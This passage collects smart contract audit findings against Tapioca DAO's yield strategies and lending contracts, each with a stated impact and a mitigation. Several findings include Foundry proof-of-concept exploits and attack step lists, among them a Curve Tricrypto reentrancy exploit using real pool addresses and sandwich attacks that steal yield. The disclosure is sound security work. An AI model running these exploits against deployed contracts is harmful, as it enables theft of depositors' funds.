|134880.7225|26.97614449|1079.04578           |1996234.693|0.0002|1850     |

This costs us 13.5 ETH

I have doubled it to simulate a backrun as well

27 ETH / 0.025 % = 1080 ETH

As you can see, this means that if the Strategy has more than around $2MLN in value, it will leak more than the fees, allowing the attacker to repeatedly sandwhich it to profit

Notice that because of this, all of the tokens can be stolen, this is not merely "MEV"ing the deposit and withdrawals, this will actually cause a total loss until the Strategy Leaked Amounts will no longer be worth the cost of manipulation (26 ETH per pass)

POC Steps

• Imbalance Pool to have a discount
• Deposit
• Imbalance Pool to make it lose 2.5%
• Trigger Withdrawal
• Repeat until TVL of strategy is below the profitable threshold (1080 ETH)

Mitigation Step

I believe the only solution here is to avoid single sided exposure, denominate the strategy either in the LP token or in stETH

Do not swap the tokens back to ETH which is the root of the issue since the exchange rate is manipulatable in multiple ways as demonstrated above

Additional Resources

The amount of swaps to trigger the slippage are obtained via this library I wrote:

(Results brute forced via: https://github.com/GalloDaSballo/pool-math)

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/curve/TricryptoNativeStrategy.sol#L151-L156

Vulnerability details

Impact

TricryptoLPStrategy-compound computes the amount of CRV to Sell as: uint256 crvAmount = crvBalanceAfter - crvBalanceBefore;

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/curve/TricryptoNativeStrategy.sol#L151-L156

    function compound(bytes memory) public {
        uint256 claimable = lpGauge.claimable_tokens(address(this));
        if (claimable > 0) {
            uint256 crvBalanceBefore = rewardToken.balanceOf(address(this));
            minter.mint(address(lpGauge));
            uint256 crvBalanceAfter = rewardToken.balanceOf(address(this));

            if (crvBalanceAfter > crvBalanceBefore) {
                uint256 crvAmount = crvBalanceAfter - crvBalanceBefore;

This assumes that minter.mint(address(lpGauge)); will cause tokens to be sent to the Strategy

However, a griefer could call claim_rewards(STRATEGY): to cause the CRV to be sent directly to it before a call to compound is made.

This breaks the check (since it will result in a 0)

And causes total Loss of Yield

POC

• Attacker calls claim_rewards(STRATEGY)
• The Strategy no longer compounds the rewards

Code from Curve Gauge

https://arbiscan.io/address/0x555766f3da968ecbefa690ffd49a2ac02f47aa5f#code#L544

@external
@nonreentrant('lock')
def claim_rewards(_addr: address = msg.sender, _receiver: address = ZERO_ADDRESS):
    """
    @notice Claim available reward tokens for `_addr`
    @param _addr Address to claim for
    @param _receiver Address to transfer rewards to - if set to
                     ZERO_ADDRESS, uses the default reward receiver
                     for the caller
    """
    if _receiver != ZERO_ADDRESS:
        assert _addr == msg.sender  # dev: cannot redirect when claiming for another user
    self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver)

As you can see the gauge allows claiming on behalf, which will break the delta check from the Strategy

Mitigation

Use the absolute value for Curve or similar reward tokens, also consider adding a sweep function while protecting the deposit tokens

Assessed type

ERC4626

Lines of code

https://etherscan.io/address/0x9D5C5E364D81DaB193b72db9E9BE9D8ee669B652#code#L979 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/convex/ConvexTricryptoStrategy.sol#L254-L277

Vulnerability details

Impact

The Convex BaseRewardPool has a function getReward(address _account, bool _claimExtras), which allows claiming on behalf of other accounts:

https://etherscan.io/address/0x9D5C5E364D81DaB193b72db9E9BE9D8ee669B652#code#L979

    function getReward(address _account, bool _claimExtras) public updateReward(_account) returns(bool){
        uint256 reward = earned(_account);
        if (reward > 0) {
            rewards[_account] = 0;
            rewardToken.safeTransfer(_account, reward);
            IDeposit(operator).rewardClaimed(pid, _account, reward);
            emit RewardPaid(_account, reward);
        }

        //also get rewards from linked rewards
        if(_claimExtras){
            for(uint i=0; i < extraRewards.length; i++){
                IRewards(extraRewards[i]).getReward(_account);
            }
        }
        return true;
    }

The ConvexTryCriptoStrategy uses delta balances to determine the amount of tokens gained

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/convex/ConvexTricryptoStrategy.sol#L254-L277

        uint256[] memory balancesBefore = new uint256[](tempData.tokens.length); /// @audit Delta B4
        for (uint256 i = 0; i < tempData.tokens.length; i++) {
            balancesBefore[i] = IERC20(tempData.tokens[i]).balanceOf(
                address(this)
            );
        }

        zap.claimRewards(
            tempData.rewardContracts,
            tempData.extraRewardContracts,
            tempData.tokenRewardContracts,
            tempData.tokenRewardTokens,
            extrasTempData.depositCrvMaxAmount,
            extrasTempData.minAmountOut,
            extrasTempData.depositCvxMaxAmount,
            extrasTempData.spendCvxAmount,
            extrasTempData.options
        );
        uint256[] memory balancesAfter = new uint256[](tempData.tokens.length); /// @audit Delta After
        for (uint256 i = 0; i < tempData.tokens.length; i++) {
            balancesAfter[i] = IERC20(tempData.tokens[i]).balanceOf(
                address(this)
            );
        }

These delta balances can be made to return a zero or lower value by claiming on behalf of the strategy

By doing that, rewards will be lost

POC

• ConvexTriCryptoStrategy has some gain
• Attack calls getReward(STRATEGY, true)
• The strategy shares value is reduced, the tokens are stuck in the strategy

Mitigation

• Hardcode tokens the strategy will sell (e.g. Curve, CVX)
• Add a sweep to processor / owner to sell anything else that is not protected
• Use absolute values for tokens that are not the LP token nor WETH

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L118

Vulnerability details

a4185aaf2a0a953dd8ea2e7f62a58087c4cd5680bfbe8c3a749efef847af3c3b

Sent privately

Assessed type

ERC4626

// SPDX-License Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console2.sol";

interface ICurvePool {
    // Add with WETH
    function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external;
    function remove_liquidity(uint256 _amount, uint256[3] memory _min_amounts) external;
    function remove_liquidity_one_coin(uint256 token_amount, uint256 i, uint256 min_amount) external;
    function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy, bool useETh) external;
    function balances(uint256) external view returns (uint256);

    function D() external returns (uint256);
    function virtual_price() external returns (uint256);
    function get_virtual_price() external returns (uint256);
}

interface IWETH {
    // Deposit via Call
    function withdraw(uint256 amount) external;
}

interface IERC20 {
    function approve(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint256);
}

interface ITriOracle {
    function lp_price() external view returns (uint256);
}

contract VieReentrant is Test {
    IERC20 TOKEN = IERC20(0x8e0B8c8BB9db49a46697F3a5Bb8A308e744821D2);
    ICurvePool pool = ICurvePool(0x960ea3e3C7FB317332d990873d354E18d7645590);
    IERC20 public WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
    IERC20 public USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
    IERC20 public WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);

    ITriOracle curve_oracle = ITriOracle(0x2C2FC48c3404a70F2d33290d5820Edf49CBf74a5);

    constructor() {
        WETH.approve(address(pool), type(uint256).max);
        USDT.approve(address(pool), type(uint256).max);
        WBTC.approve(address(pool), type(uint256).max);
    }

    function start() external payable {
        console2.log("virtual_price 0", pool.virtual_price());
        console2.log("get_virtual_price 0", pool.get_virtual_price());
        console2.log("D 0", pool.D());

        console2.log("USDT BAL 0", USDT.balanceOf(address(pool)));
        console2.log("WBTC BAL 0", WBTC.balanceOf(address(pool)));
        console2.log("WETH BAL 0", WETH.balanceOf(address(pool)));

        console2.log("USDT POOL BAL 0", pool.balances(0));
        console2.log("WBTC POOL BAL 0", pool.balances(1));
        console2.log("WETH POOL BAL 0", pool.balances(2));

        console2.log("curve_oracle 0", curve_oracle.lp_price());

        uint256[3] memory amts;
        amts[0] = USDT.balanceOf(address(this)) / 2;
        amts[1] = WBTC.balanceOf(address(this));
        amts[2] = WETH.balanceOf(address(this));

        pool.add_liquidity(amts, 0);

        // Swap USDT for ETH so we can Reenter
        pool.exchange(0, 2, 1, 0, true); // We will reEnter here // Pretty sure we can do a trade with 1 wei
        // Swap 1 wei because it's enough to cache old XP with new Supply

        console2.log("virtual_price 4", pool.virtual_price());
        console2.log("get_virtual_price 4", pool.get_virtual_price());
        console2.log("D 4", pool.D());

        console2.log("USDT BAL 4", USDT.balanceOf(address(pool)));
        console2.log("WBTC BAL 4", WBTC.balanceOf(address(pool)));
        console2.log("WETH BAL 4", WETH.balanceOf(address(pool)));

        console2.log("USDT POOL BAL 4", pool.balances(0));
        console2.log("WBTC POOL BAL 4", pool.balances(1));
        console2.log("WETH POOL BAL 4", pool.balances(2));

        console2.log("curve_oracle 4", curve_oracle.lp_price());

        if (TOKEN.balanceOf(address(this)) > 0) {
            amts[0] = 0;
            amts[1] = 0;
            amts[2] = 0;
            pool.remove_liquidity(TOKEN.balanceOf(address(this)), amts); // Withdraw WETH so we can repeat
        }

        // Check the amt left
        console2.log("Balance of USDT", USDT.balanceOf(address(this)));
        console2.log("Balance of WETH", WETH.balanceOf(address(this)));
        console2.log("Balance of WBTC", WBTC.balanceOf(address(this)));
        console2.log("Balance of ETH", address(this).balance);

        console2.log("curve_oracle 5", curve_oracle.lp_price());
    }

    function reEnter() internal {
        uint256 toWithdraw = TOKEN.balanceOf(address(this));

        uint256[3] memory minAmts;
        minAmts[0] = 0;
        minAmts[1] = 0;
        minAmts[2] = 0;
        // pool.remove_liquidity(toWithdraw, minAmts);
        pool.remove_liquidity(toWithdraw, minAmts); // Withdraw WETH so we can repeat
    }

    fallback() external payable {
        // Call the extra thing
        console.log("Fallback gas left", gasleft());
        reEnter(); // We do it here so you can do compare
    }
}

contract CompoundedStakesFuzz is Test {
    VieReentrant c;

    function setUp() public {
        c = new VieReentrant();
    }

    function testTricryptoLP() public {
        // Basically same size as starting
        deal(address(c.WBTC()), address(c), 174e8 * 10);
        deal(address(c.WETH()), address(c), 3_000e18 * 10);
        deal(address(c.USDT()), address(c), 5_000_000e6 * 2);
        c.start();
    }
}

[PASS] testTricryptoLP() (gas: 1632601)
Logs:
  virtual_price 0 1036342940051418117
  get_virtual_price 0 1036342940051418117
  D 0 7672736887241895288850556
  USDT BAL 0 2537517164296
  WBTC BAL 0 8758022611
  WETH BAL 0 1397051963201389872001
  USDT POOL BAL 0 2537517164296
  WBTC POOL BAL 0 8758022611
  WETH POOL BAL 0 1397051963201389872001
  curve_oracle 0 1169984247854533342747
  Fallback gas left 8797746687694759267
  virtual_price 4 11583826407188400102
  get_virtual_price 4 11583826407188400102
  D 4 85724151282426995388961143
  USDT BAL 4 674745645101
  WBTC BAL 4 16360185613
  WETH BAL 4 2810610393233905915160
  USDT POOL BAL 4 674745645101
  WBTC POOL BAL 4 16360185613
  WETH POOL BAL 4 2810610393233905915160
  curve_oracle 4 13074750361160466706581
  Balance of USDT 11862771519195
  Balance of WETH 28586441569963336345970
  Balance of WBTC 166397836998
  Balance of ETH 4147610871
  curve_oracle 5 13074750361160466706581

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/compound/CompoundStrategy.sol#L113-L119

Vulnerability details

Impact

The CompoundStrategy uses the stale exchangeRateStored to determine the value of a cToken

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/compound/CompoundStrategy.sol#L113-L119

    function _currentBalance() internal view override returns (uint256 amount) {
        uint256 shares = cToken.balanceOf(address(this));
        uint256 pricePerShare = cToken.exchangeRateStored(); /// @audit stale rate leaks value
        uint256 invested = (shares * pricePerShare) / (10 ** 18);
        uint256 queued = wrappedNative.balanceOf(address(this));
        return queued + invested;
    }

This value doesn't reflect the latest value of a cToken, which would require a non-view check to determine.

If the exchangeRateStored is not update for a sufficiently long time, the price of the token will be lower than what it actually is

In those scenarios, borrowers using cTokens as collateral will be unfairly liquidated

POC

• Deposit cToken
• Borrow USD0
• USD0 interest moves slower than cToken
• cToken is not accrued
• I get liquidated in spite of the fact that my cToken Collateral Value LTV is lower than my Debt

Remediation

Accrue before checking the exchange rate before liquidating people

Alternatively, refactor _currentBalance to use https://github.com/transmissions11/libcompound which will prevent any form of value leak in the exchange rate

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L131-L137 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/compound/CompoundStrategy.sol#L128

Vulnerability details

Impact

YieldBox determines the amount of shares to mint based on the totalSupply and the strategy.currentBalance()

https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L102-L104

    /// @dev Returns the total balance of `token` the strategy contract holds,
    /// plus the total amount this contract thinks the strategy holds.
    function _tokenBalanceOf(Asset storage asset) internal view returns (uint256 amount) {
        return asset.strategy.currentBalance();
    }

The CompoundStrategy _currentBalance is relying on a stale exchangeRate, opening up YieldBox to MEV attacks that can steal all of the Yield

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/compound/CompoundStrategy.sol#L113-L119

    function _currentBalance() internal view override returns (uint256 amount) {
        uint256 shares = cToken.balanceOf(address(this));
        uint256 pricePerShare = cToken.exchangeRateStored(); /// @audit stale rate leaks value
        uint256 invested = (shares * pricePerShare) / (10 ** 18);
        uint256 queued = wrappedNative.balanceOf(address(this));
        return queued + invested;
    }

POC

The Yield Generated by the strategy is equal to: total deposits * increase in exchange rate

Because the strategy is using exchangeRateStored instead of the latest one, the delta between exchangeRateStored and the most up to date one can be MEVd away via the following:

• Deposit into the Strategy at old rate
• Trigger cToken rate update (should happen before mint)
• Withdraw from strategy

The deposit will use the old _currentBalance while the withdrawal will use the latest exchangeRate which means it will offer out a pro-rata portion of the Yield

https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L131-L137

/// @audit Pay for shares in Yield Box
        if (share == 0) {
            // value of the share may be lower than the amount due to rounding, that's ok
            share = amount._toShares(totalSupply[assetId], totalAmount, false);
        } else {
            // amount may be lower than the value of share due to rounding, in that case, add 1 to amount (Always round up)
            amount = share._toAmount(totalSupply[assetId], totalAmount, true);
        }

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/compound/CompoundStrategy.sol#L128

// Mint
            cToken.mint{value: queued}();
            emit AmountDeposited(queued);
/// @audit Which uses updated rate, causing a loss of Yield to Everyone else

The logical extreme is to deposit via a flashLoan and steal 99.9% of the Yield each time this is profitable.

This will cause Honest Depositors to socialize away their yield, at the advantage of MEV attackers

Coded POC

This POC is written in foundry, to run it use

forge test --match-test testCompTokenMathMEV -vv

The outputt shows that while the cToken rate has changed, the Strategy will still be underpricing it

This allows a new depositor to receive more shares than intended when depositing, while contributing to a lower amount of shares in the YieldBox, which will cause everyone else to lose on that Yield

Output:

Logs:
  initialShares 100000000000000000000
  initialRate 1000000000000000000
  initialBalance 100000000000000000000
  updatedBalance 100000000000000000000
  updatedRate 1100000000000000000
  secondDepositShares 90909090909090909090

// SPDX-License Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "./tERC20.sol";


contract MockCompToken {

    uint256 public underlying;
    uint256 public shares;
    uint256 public exchangeRateStored;

    function latestExchangeRate() public view returns (uint256) {
        if(shares == 0) {
            return 1e18;
        }
        return 1e18 * underlying / shares;
    }

    function addYield(uint256 amt) public {
        underlying += amt;
    }

    function deposit(uint256 amt) external returns (uint256) {
        uint256 rate = latestExchangeRate();
        exchangeRateStored = rate;

        uint256 newShares = amt * 1e18 / rate;

        underlying += amt;
        shares += newShares;

        return newShares;
    }

    function balanceOf(address) external view returns (uint256) {
        return shares;
    }
}

contract MockStrategy {
    MockCompToken cToken;
    constructor(MockCompToken _cToken) {
        cToken = _cToken;
    }

    function currentBalance() public view returns (uint256 amount) {
        uint256 shares = cToken.balanceOf(address(this));
        uint256 pricePerShare = cToken.exchangeRateStored(); /// @audit stale rate leaks value
        uint256 invested = (shares * pricePerShare) / (10 ** 18);
        // uint256 queued = wrappedNative.balanceOf(address(this)); // Static Value
        return invested;
    }
}

contract CompoundedStakesFuzz is Test {
    MockStrategy mockStrategy;
    MockCompToken compToken;

    function setUp() public {
        compToken = new MockCompToken();
        mockStrategy = new MockStrategy(compToken);
    }

    function testCompTokenMathMEV() public {
        // Initial 1/1 deposit
        uint256 initialShares = compToken.deposit(100e18);
        console2.log("initialShares", initialShares);
        assertEq(initialShares, 100e18); // 1 to 1

        uint256 initialRate = compToken.latestExchangeRate();
        console2.log("initialRate", initialRate);
        assertEq(initialRate, 1e18); // 1e18 is base rate

        // Strategy bal
        uint256 initialBalance =  mockStrategy.currentBalance();
        console2.log("initialBalance", initialBalance);
        assertEq(initialBalance, 100e18); // 1 to 1

        // 10% yield
        compToken.addYield(10e18); // 10%

        uint256 updatedBalance =  mockStrategy.currentBalance();
        console2.log("updatedBalance", updatedBalance);
        assertEq(initialBalance, updatedBalance, "Balance in strat"); // Didn't Change


        uint256 updatedRate = compToken.latestExchangeRate();
        console2.log("updatedRate", updatedRate);
        assertTrue(updatedRate > initialRate, "Rate increased"); // 1e18 is base rate


        uint256 secondDepositShares = compToken.deposit(100e18);
        console2.log("secondDepositShares", secondDepositShares);
        assertTrue(secondDepositShares < initialShares, "shares decreas"); // We got less than expected

    }

}

Mitigation

Use https://github.com/transmissions11/libcompound to use the latest exchange rate which will prevent any form of value leak in the exchange rate

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/aave/AaveStrategy.sol#L225-L230

Vulnerability details

Impact

The pricing of a YieldBox token for AAVE is done in the following way:

Which uses the balance in the strategy over the shares minted

https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L130-L137

        uint256 totalAmount = _tokenBalanceOf(asset);
        if (share == 0) {
            // value of the share may be lower than the amount due to rounding, that's ok
            share = amount._toShares(totalSupply[assetId], totalAmount, false);
        } else {
            // amount may be lower than the value of share due to rounding, in that case, add 1 to amount (Always round up)
            amount = share._toAmount(totalSupply[assetId], totalAmount, true);
        }

The balance is computed by querying a view function in the strategy currentBalance https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L102-L104

    /// @dev Returns the total balance of `token` the strategy contract holds,
    /// plus the total amount this contract thinks the strategy holds.
    function _tokenBalanceOf(Asset storage asset) internal view returns (uint256 amount) {
        return asset.strategy.currentBalance();
    }

For the AAVE strategy, _currentBalance uses the following formula:

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/aave/AaveStrategy.sol#L225-L230

    function _currentBalance() internal view override returns (uint256 amount) {
        (amount, , , , , ) = lendingPool.getUserAccountData(address(this));
        uint256 queued = wrappedNative.balanceOf(address(this));
        uint256 claimableRewards = compoundAmount(); /// @audit Missing the stkAAVE that is yet to be claimed + onCooldown
        return amount + queued + claimableRewards;
    }

However, because of the 12 day cooldown, stkAAVE, which will be worth 1-1 once claimable, is not counted

This creates an opportunity to:

• A) Without any capital, get access to Yield generated by other depositors (since the token is underpriced as it's ignoring the value of stkAAVE)

Attack for case A

Compare these 2 scenarios:

-> Strat has stkAAVE pending -> Deposit -> You pay for the stkAAVE and receive less tokens

VS

-> Strat has stkAAVE Pending -> Compound -> Deposit -> You don't pay for the stkAAVE, you receive more tokens AND you gain the yield once the cooldown ends (every 12 days)

• B) With Capital, the Yield Gain can be Sandwhiched as explained below

Because of this, the price of the YieldBox token will decrease after a claim, but since the claim is "realized" after 12 days (due to cooldown), an MEV vector opens up, that allows stealing the majority of the Yield

POC

1. Claim to Trigger Cooldown
2. Claim more until last second of Cooldown
3. Deposit to gain the majority of the Deposit Balance
4. Receive the rewards (as they are distributed pro-rata)
5. Withdraw, having gained the majority of the Yield, while having contributed to none of it

Coded POC

The following POC is written in Foundry

You can run it via

forge test --match-test testProofWeCanSandwhich -vv

This is the Output:

  initialBalance 100000000000000000000
  compoundAmount 9950000000000000
  ** YIELD ESTIMATION**
  afterYieldBalance 100009950000000000000
  ** YIELD ACTUAL CLAIM**
  Change here means we can sanwhich by deposit -> compound -> withdraw
  finalBalance 110000000000000000000

This shows that due to the incorrect math in currentBalance, caused by compoundAmount, we can sanwchich the Yield as a reliable MEV strategy

Create a test file called AAVEPPFS.sol

// SPDX-License Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "./tERC20.sol";

contract MockStakingContract {

    tERC20 token;

    uint256 cooldownAmt;

    constructor(tERC20 _token) {
        token = _token;
    }

    function startCooldown(uint256 amt) external {
        // Let's pretend we'll send that amount
        cooldownAmt = amt;
    }

    function endCooldown(MockStrategy recipient) external {
        // Release it
        uint256 toSend = cooldownAmt;
        cooldownAmt = 0;
        recipient.increaseAmount(toSend);
    }

    function stakerRewardsToClaim() public view returns (uint256) {
        // AAVE accrued based on time
        return cooldownAmt / 100; // it's some % of yield that is sent, which increases over tiem but is marginal compared to the stkAAVE AMT
    }
}

contract MockStrategy {
    uint256 amount  = 99e18;
    uint256 queued = 1e18;



    MockStakingContract fakeStkRewards;
    constructor(MockStakingContract _fakeStkRewards) {
        fakeStkRewards = _fakeStkRewards;
    }

    function increaseAmount(uint256 amt) external {
        require(msg.sender == address(fakeStkRewards));
        amount += amt; // stkAAVE -> AAVE -> Increase balance
    }

    function currentBalance() public view returns (uint256) {
        // Balance of aToken - SAFE
        // balance of token that will be deposited - SAFE

        uint256 claimableRewards = compoundAmount(); /// @audit Missing the stkAAVE that is yet to be claimed + onCooldown
        return amount + queued + claimableRewards;
    }

    function compoundAmount() public view returns (uint256) {
        return fakeStkRewards.stakerRewardsToClaim() * 9950 / 10_0000; // 50 bps slippage

        // Missing the stkAAVE, after cooldown, current balance will grow instantly, meaning we can sandwhich
    }
}

contract CompoundedStakesFuzz is Test {
    MockStrategy mockStrategy;
    MockStakingContract mockStaker;
    tERC20 mockToken;

    function setUp() public {
        mockToken = new tERC20("fake stkAAVE token", "fstkAAVE", 18);
        mockStaker = new MockStakingContract(mockToken);
        mockStrategy = new MockStrategy(mockStaker);
    }

    function testProofWeCanSandwhich() public {
        uint256 initialBalance = mockStrategy.currentBalance(); // Deposit without yield
        console2.log("initialBalance", initialBalance);

        // 10% Yield
        mockStaker.startCooldown(10e18); // Deposit without yield
        console2.log("compoundAmount", mockStrategy.compoundAmount());

        // This will have grown by just the AAVE from stkAAVE, ignoring stkAAVE
        uint256 afterYieldBalance = mockStrategy.currentBalance(); // Deposit without yield
        console2.log("** YIELD ESTIMATION**");
        console2.log("afterYieldBalance", afterYieldBalance);

        mockStaker.endCooldown(mockStrategy); // End the cooldown, claim stkAAVE

        console2.log("** YIELD ACTUAL CLAIM**");
        console2.log("Change here means we can sanwhich by deposit -> compound -> withdraw");
        uint256 finalBalance = mockStrategy.currentBalance(); // Deposit without yield
        console2.log("finalBalance", finalBalance);
    }

}

tERC20.sol is just a mintable ERC20 from OZ

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract tERC20 is ERC20 {
    uint8 public immutable _decimals;

    constructor(string memory name, string memory symbol, uint8 __decimals) ERC20(name, symbol) {
        _decimals = __decimals;

        _mint(msg.sender, 1e36);
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }
}

Mitigation Step

Account for stkAAVE in the strategy

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L515

Vulnerability details

Impact

Interest rates are computed by calculating the debtRate and multiplying it by elapsedTime https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L515

uint256 elapsedTime = block.timestamp - _accrueInfo.lastAccrued;

You can visualize this as a Linear Chart where time is on the X axis and the slope of the line is the debtRate

Because of how setBigBangEthMarketDebtRate and setBigBangConfig are written, these functions will not accrue the interest that has passed before changing the slope of the debtRate.

This has a side effect at all time:

• The interest math for the pending interest will be computed incorrectly

Additionally, if the interest is made to raise too sharply, this can also cause some positions to be unfairly liquidated due to the newly accrued interest which will be magnified by the elapsedTime

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/Penrose.sol#L256-L259

    function setBigBangEthMarketDebtRate(uint256 _rate) external onlyOwner {
        bigBangEthDebtRate = _rate;
        emit BigBangEthMarketDebtRate(_rate);
    }

Changing bigBangEthDebtRate via setBigBangEthMarketDebtRate will not update the debt of the ethMarket, this means that accounts that

will not accrue other markets nor the ETh market, changing it will cause a loss of Yield or Potentially underwater positions

POC

Example

• Imagine a 1% per day interest

• 2 days elapse

• The interest would be computed as 2%

• The bigBangEthDebtRate is called to cause the new interest to be 2% per day

• Technically the new interest should start from today

• 1 more day elapse

• Intended result = 2% + 2% = 4% interest (ignoring compounding for simplicity)

• Actual result = 3 days * 3% = 9% of interest due to accrual "going in the past"

Visualization

The visualization illustrates the issue: https://miro.com/app/board/uXjVMwwR4JY=/?share_link_id=757290249679

Further Resources

https://github.com/code-423n4/2023-01-reserve-findings/issues/287

Mitigation

I recommend centralizing the interest rate logic to allow bulk accrual of markets, if that's not possible you would want to at least rewrite the function to allow accruing markets before changing setters

Assessed type

Invalid Validation

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L102

Vulnerability details

Most CDP systems have a key invariant: SUM(DEBT) = Total Supply

This ensures that if all debt is repaid, the total supply goes to zero

That's because there's an implicit invariant, that if every debtor were to repay, since the system is overcollateralized, there would be no tokens left.

However, flashLoan takes the fee and burns it.

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L102

     _burn(address(receiver), amount + fee);

This means that some debt will remain registered in the system, but will not have the corresponding USD0 to repay it

The paradoxical conclusion to this, is a scenario in which a person opens a CDP, borrows X tokens, then burns them via flashloanFees and they won't be able to ever repay, nor anybody would be able to liquidate them and close their position.

POC

• Mint some USD0
• Flashloan for any use
• Pay the fee
• You can no longer close your own position

While someone is always likely to keep their CDP open, the design creates a scenario where if sufficient people are taking on high leverage, there may be insufficient tokens to allow them to repay and to liquidate them.

Mitigation

Instead of burning the fee, either distribute it to Stakers or to the DAO

Assessed type

ERC20

Lines of code

https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/options/TapiocaOptionLiquidityProvision.sol#L184-L187

Vulnerability details

Impact

LP Providers are passing in toShare at the time of deposit

https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/options/TapiocaOptionLiquidityProvision.sol#L184-L187

        // Transfer the Singularity position to this contract
        uint256 sharesIn = yieldBox.toShare(sglAssetID, _amount, false);

        yieldBox.transfer(msg.sender, address(this), sglAssetID, sharesIn);
        activeSingularities[_singularity].totalDeposited += _amount;

But they get amount recorded instead of Shares

While shares cannot be manipulated, amount could.

If a strategy relies on the value of it's Yield, or strategy._currentBalance is manipulatable, then an incorrect amount could be recorded either during a deposit or a withdrawal

When Unlocked, if the YieldBox had a Loss, or the Price is Manipulated then the amount will be withdrawn, but it will result in a loss of shares from other depositors

https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/options/TapiocaOptionLiquidityProvision.sol#L235-L247

        // Transfer the tOLR tokens back to the owner
        sharesOut = yieldBox.toShare(
            lockPosition.sglAssetID,
            lockPosition.amount, /// @audit amount is converted to `shares`, the exchange rate may be manipulated
            false
        );

        yieldBox.transfer(
            address(this),
            _to,
            lockPosition.sglAssetID,
            sharesOut
        );
    activeSingularities[_singularity].totalDeposited -= lockPosition.amount; /// @audit Amount is subtracted, resulting in more shares burned than the original deposit

They burn sharesOut, which may be more shares than what they originally deposited, socializing a loss to all other depositors

POC - Strategy incurrs a Loss

• User A and B each Deposit 10 Shares
• Total Supply = 20 shares
• Total Amount = 20
• Slash / Cause a loss to strategy (e.g. slippage, manipulation or outright theft), loss of 50%
• User A withdraws 10 amount, this burns 20 shares
• User B has a lockPosition.amount of 10 amount, but the contract has no shares left, they lost their deposit

POC 2 - Inflating amount to steal other people shares

• User A and B each Deposit 10 Shares
• Total Supply = 20 shares
• Total Amount = 20
• A Inflates the value of shares, perhaps by using a vulnerable strategy (demonstrated separately)
• A records a 20 amount when they deposited only 10 shares
• A withdraws the 20 amount, and get's all the shares, B is stuck with a lockPosition.amount of 10 but no shares to withdraw from

Mitigation

To maintain the invariants of YieldBox, only SHARES should ever be used to track positions

activeSingularities[_singularity].totalDeposited -= lockPosition.shares;

This will rely on the proven invariant of YieldBox properly tracking each deposit

Instead, amounts can be manipulated to cause loss

